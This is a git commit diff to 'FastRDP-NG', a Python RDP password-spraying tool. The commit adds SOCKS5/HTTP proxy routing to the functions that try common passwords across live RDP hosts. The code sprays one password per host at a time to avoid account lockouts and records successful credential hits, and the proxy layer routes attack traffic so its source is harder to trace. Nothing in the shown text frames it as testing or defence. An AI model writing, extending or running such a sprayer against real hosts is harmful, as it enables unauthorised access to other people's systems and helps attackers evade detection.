Added proxy integration: ProxyManager module with SOCKS5/HTTP support, proxy tab in GUI with fetch/test/rotate/on-off toggle, proxy routing for scanner connections and password spray

This commit is contained in:
drjones
2026-05-05 22:38:50 -07:00
parent 2f6d989539
commit ef91f8219b
4 changed files with 712 additions and 20 deletions

View File

@@ -1,6 +1,7 @@
"""
FastRDP-NG: RDP Password Sprayer.
Tries top common passwords against live RDP hosts using subprocess.
Supports optional proxy routing via ProxyManager.
"""
import asyncio
@@ -8,7 +9,7 @@ import logging
import os
import subprocess
import time
from typing import List, Tuple, Set
from typing import List, Tuple, Set, Optional
logger = logging.getLogger("FastRDP-NG")
@@ -39,9 +40,12 @@ async def spray_password(
username: str,
password: str,
timeout: float = 5.0,
proxy_manager=None,
) -> Tuple[str, int, str, str, bool]:
"""
Try a single credential pair against an RDP host.
Supports optional proxy routing via proxy_manager.
Attempts to find rdpthread.exe in common locations, then
falls back to RDP banner detection (connectivity check only).
@@ -81,11 +85,14 @@ async def spray_password(
pass
# Fallback: RDP banner check (confirms RDP service is running)
# NOTE: Actual authentication requires CredSSP/NLA which needs
# a proper RDP client library. This fallback only detects open RDP ports.
# When proxy is enabled, route through proxy
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(ip, port),
open_conn(ip, port),
timeout=2.0
)
try:
@@ -113,12 +120,14 @@ async def spray_all_hosts(
passwords: List[str] = None, # type: ignore
max_concurrent: int = 100,
timeout: float = 5.0,
progress_callback=None
progress_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray top passwords across all live hosts.
Tries 1 password per host, then moves to next password.
This avoids account lockouts and finds weak passwords fast.
Supports optional proxy routing.
Returns list of (ip, port, username, password) successful hits.
"""
@@ -137,7 +146,7 @@ async def spray_all_hosts(
nonlocal attempts
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
attempts += 1
if success:
@@ -161,11 +170,9 @@ async def spray_all_hosts(
))
# Execute this password batch before moving to next password
# This lets us see hits faster
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
# Found hits! Write immediately
_write_hits(hits)
tasks = []
@@ -186,11 +193,13 @@ async def spray_single_host(
passwords: List[str] = None,
max_concurrent: int = 50,
timeout: float = 5.0,
hit_callback=None
hit_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray ALL passwords against a SINGLE host immediately.
Called as soon as a host is discovered — no need to wait for full scan.
Supports optional proxy routing.
hit_callback(ip, port, user, password): called on each successful hit.
Returns list of (ip, port, username, password) hits.
@@ -206,7 +215,7 @@ async def spray_single_host(
async def try_combo(user: str, pwd: str):
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
if success:
hits.append((ip, port, u, p))